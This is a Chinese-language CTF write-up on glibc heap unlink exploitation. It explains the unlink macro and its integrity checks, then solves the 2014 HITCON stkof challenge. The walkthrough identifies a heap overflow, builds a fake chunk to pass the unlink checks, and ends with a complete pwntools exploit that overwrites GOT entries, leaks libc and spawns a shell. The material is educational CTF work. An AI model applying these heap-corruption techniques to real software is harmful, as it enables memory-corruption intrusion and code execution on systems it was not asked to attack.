#有几张图出自hollk师傅的文章,原文链接:https://blog.youkuaiyun.com/qq_41202237/article/details/108481889#
堆溢出-unlink
对unlink的利用大概就是对chunk进行内存布局,然后借助unlink中对指针的操作来修改chunk中的指针
unlink的宏定义:
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
在以前认识的函数中free()函数在执行时有一个int_free 的过程中调用了unlink,如下:
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}
堆释放
设置这样一个堆的创建与释放过程,依次释放first second third_chunk,中间创建的heap1 2 3是为了隔开需要释放的几个chunk,防止他们在free时合并
#include<stdio.h>
void main(){
long *heap1 = malloc(0x80);
long *first_chunk = malloc(0x80);
long *heap2 = malloc(0x80);
long *second_chunk = malloc(0x80);
long *heap3 = malloc(0x80);
long *third_chunk = malloc(0x80);
long *heap4 = malloc(0x80);
free(first_chunk);
free(second_chunk);
free(third_chunk);
return 0;
}
使用命令gcc -g text.c - o test编译生成一个elf文件来进行gdb的动态调试
先在程序的第15行下一个断点 :b 15
然后r运行程序之后输入bin 看一下这几个内存空间被释放到了哪里去:
这里可以看见释放的三个chunk是以链表形式储存在unsorted bin 当中.
unlink的检查过程及操作理解
前面可以看见释放的三个chunk是以链表的方式储存在unsorted bin当中:
这里可以看见三个chunk的 fd 和 bk的相互指向关系,unlink的大概操作就是将second_chunk 从这个链表中取出来,那么如果second_chunk 被取出,剩下的三个chunk就会变成一下这样:
chunk状态检查
仍然是前面的这个test的例子,再次使用gdb来调试一下,看一下second_chunk中的情况;
检查1:检查被释放的chunk相邻高地址的chunk的pre_size是否与size位值相同:
这就是检查被释放chunk的相邻chunk的pre_size是否与这个chunk的size相同,防止chunk的size值被篡改,以及检查这个被释放chunk是否处于空闲状态
检查2:检查被释放chunk的相邻高地址chunk的P位值是否为0:
前面提到过的P位:这是AMP三个字段中最为重要的一个字段,记录前一个chunk是不是malloc的chunk,如果是1,那么就是已经写入用户数据的chunk,如果是0,则是free chunk,在释放内存空间时,如果上一个chunk为free chunk,那么就会将两个chunk合并为一个chunk,size字节就会变大
这里还是检查确认被释放的chunk是否为空闲状态
检查3:检查被释放chunk的前后指针fd 和 bk:
可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址
以上三个检查就是对于某个chunk是否处于free状态的三次检查确认,以及三大标准:pre_size,P位,前后指针
例题:[2014 HITCON stkof]
网址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
保护检查:
除了没开PIE,其他的都开了
这个程序运行起来并没有以前那样的操作提示页面,只有一个一直等待输入的操作
进入ID看一下静态分析
主函数:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(nptr, 10, stdin) )
{
v3 = atoi(nptr);
if ( v3 == 2 )
{
v5 = sub_4009E8();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = sub_400B07();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = sub_400936();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
可以看出这个程序的主体其实就是先让我们输入一个数字存入v3之中,根据v3的值进入不同的函数功能之中(v3可以是1 2 3 4)
下面看一下每个函数是要干什么
sub_4009E8()
__int64 sub_4009E8()
{
__int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v2] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
这个函数的功能大概是:先从外部接受输入缓冲区的数据,再将输入的数据转换为数值输入给变量v2,然后对v2的值大小进行判定,如果大于了0x100000则结束程序,之后判断*(&:😒)[v2]*这个数组在v2位置上是否存在chunk((&:😒)就是取chunk地址的意思)。
如果输入合法且在该位置上存在可用的chunk,则重新从输入缓冲区内读取数据,并将输入的数据赋给n,再将v2对应下标处的chunk地址赋给ptr。
接下来的这个fread函数比较重要:
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
这个函数会从给定的流stream当中读取数据并赋给ptr所指向的数组,这个函数的函数原型如下:
**size_t fread(void ptr, size_t size, size_t nmemb, FILE stream)
各个参数:
ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针
size – 这是要读取的每个元素的大小,以字节为单位
nmemb – 这是元素的个数,每个元素的大小为 size 字节
stream – 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流
返回值;
如果这个函数的操作流程正常,成功读取并写入了数据,那么则会返回一个size_t的对象,即成功读取的元素总数
漏洞出现:
根据对这个函数的分析我们可以知道:在函数后半部分的读取写入操作中,虽然函数的操作没有问题,但是写入的数据长度以及内容都是可以被我们自主控制的,这就造成了堆溢出的问题
即是i = fread(ptr, 1uLL, n, stdin)
这个部分,他的数据长度ptr是由我们先前输入的数据长度来决定的
那么这就说明了sub_4009E8()这个函数是可以对chunk内的内容进行编辑的(类似于以前做到的题中edit的操作功能)
这个函数的输入操作顺序大概如下:
在主函数操作中输入’2’进入这个函数功能,第一次输入选择数组内chunk的下标(就是要编辑的chunk的顺序标号),第二次输入决定要写入的内容
sub_400B07()
__int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v1 = atol(s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v1] )
return 0xFFFFFFFFLL;
free((&::s)[v1]);
(&::s)[v1] = 0LL;
return 0LL;
}
在这个函数中可以看见free的操作,并同时存在取数组下标的操作,所以这应该对应了delete功能,即释放堆块
sub_400936()
__int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&::s)[++dword_602100] = v2;
printf("%d\n", (unsigned int)dword_602100);
return 0LL;
}
这个函数就是让我们从输入缓冲区中输入一个数值,这个数值会被赋给size,然后程序会根据size的大小malloc一个chunk,创建成功后程序会回显一个编号给我们,这个编号就是刚刚申请的那个chunk在数组中对应的位置。这个函数即对应了create的功能
这里面还有一个信息:这个存放chunk地址的数组的地址是0x602140
解题思路:
这道题存在因为输入检查不严谨而产生的堆溢出漏洞,我们可以通过超出本身chunk size的输入溢出倒下一个chunk的header里,这样我们就可以修改物理相邻的chunk的size位。
这里再提一下我个人对unlink的理解:unlink大概是将链表中的一个中间元素从链表中移出来,由于是从链表中取出,所以就要对链表中与这个元素相邻的其他两个元素的 fd 和 bk 指针进行修改,如果我们对即将要取出来的这个元素的fd 和 bk指针进行一定的人为设计,那么我们就可以控制这个元素相邻的两个元素的fd 和 bk指针。
在这道题中,我们先构造一个fake_chunk,在fake_chunk中部署好绕过unlink检查的各个部分,并将其的fd 和 bk指针设计为题目中那个存放chunk结构体指针数组中的一个元素(也就是链表中的元素)。由于我们可以溢出来修改物理相邻的chunk 的pre-szie和size位,那么我们就可以修改为相邻chunk的pre-size位,由于chunk释放时的合并机制,pre_size不为0的chunk会向前合并,在合并时就会触发unlink机制(因为要将这个fake_chunk从存放结构体指针的链表中取出来),相应的,就会修改相邻两个元素的fd 和 bk指针,这样就达成了我们控制指针的目的。
fake_chunk的设计:
这是相邻的两个chunk的情况:
我们fake_chunk中的设计就该是这样的:
这里对于fake_chunk中的各个位置上的值分析如下:
pre_size:由于这里不需要对前面的chunk进行什么操作,所以这里的pre_size可以直接设置为0
size:这里计算一下这个fake_chunk 所需的最小长度:8+8+8+8+8+8 = 0x30,所以这里就该写入 0x30
fd 和 bk 这里先等一下
next_prev:这个只是为了绕过检查,说明这是一个空闲块,所以他就等于size就可以了
next size:不检查这个部分,所以随便填一个八位的数据就行了
fd bk指针的设计:
由于我们这个fake chunk是要作为链表中的一个数据的,那么我们就要找到他的相邻的两个元素。
这里就要去先前提到的那个存放chunk结构的指针中看一下了:
这里我们将0x602140 和 0x602150两个地址中的内容作为一个chunk来看,那么相应的fd 和 bk指针就是 0x602150中的两个地址,我们再将数组的初始地址减8看一下:
这样的0x602138到0x602148这一段看做一个chunk的话就又是一个相邻元素了,这样我们就找到了数组中相邻的两个元素了
通过unlink部署指针:
前面通过对fake_chunk的设计,我们在后面只需要释放chunk3,使其向前合并fake_chunk触发unlink修改掉0x602150中的那个指针,变为了0x602138(也就是前后两个指针的互相覆盖),那么我在后面选择edit功能修改第二个chunk内容时实际就是向这个指针地址的地方写入数据了
在结构体数组中部署函数:
由于我们现在已经可以像这个结构体数组中随意写入数据并读取显示出来了,那么我就可以利用puts函数和got表覆盖这个技巧来泄露函数真实地址了。
先向数组中写入payload:
payload2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
然后:
edit(2,len(payload2),payload2)
payload3 = p64(elf.plt['puts'])
edit(0,len(payload3),payload3)
之后free掉数组中下标为1的那个chunk(实际上地址为puts的got表地址),看似触发free函数,实际上是触发puts函数,这样就将puts函数的实际地址泄露出来了。
剩下的就是查找出system函数并用其覆盖atoi的got表地址的常规操作,返回程序开始时输入一个‘/bin/sh’作为他的参数就可以得到shell了
EXP:
from pwn import *
context.log_level = 'debug'
io = process("./stkof")
elf = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
array = 0x602140
def create(size):
io.sendline(b"1")
io.sendline(str(size))
io.recvuntil("OK\n")
def delete(idx):
io.sendline(b'3')
io.sendline(str(idx))
# io.recvuntil("OK\n")
def edit(idx,size,content):
io.sendline(b'2')
io.sendline(str(idx))
io.sendline(str(size))
io.send(content)
io.recvuntil("OK\n")
payload1 = p64(0) + p64(0x20) + p64(array-8) + p64(array) + p64(0x20)
payload1 = payload1.ljust(0x30, b'a')
payload1 += p64(0x30)
payload1 += p64(0x90)
create(0x100)
create(0x30)
create(0x80)
edit(2,len(payload1),payload1)
delete(3)
io.recvuntil("OK\n")
payload2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2,len(payload2),payload2)
payload3 = p64(elf.plt['puts'])
#gdb.attach(io)
edit(0,len(payload3),payload3)
#gdb.attach(io)
delete(1)
put_addr = io.recvuntil("OK\n",drop = True).ljust(8, b'\x00')
put_addr = u64(put_addr)
print(hex(put_addr))
base = put_addr - libc.symbols['puts']
sys_addr = base + libc.symbols['system']
sh_addr = base + libc.search(b'/bin/sh').__next__()
payload4 = p64(sys_addr)
edit(2,len(payload4),payload4)
io.send(p64(sh_addr))
io.interactive()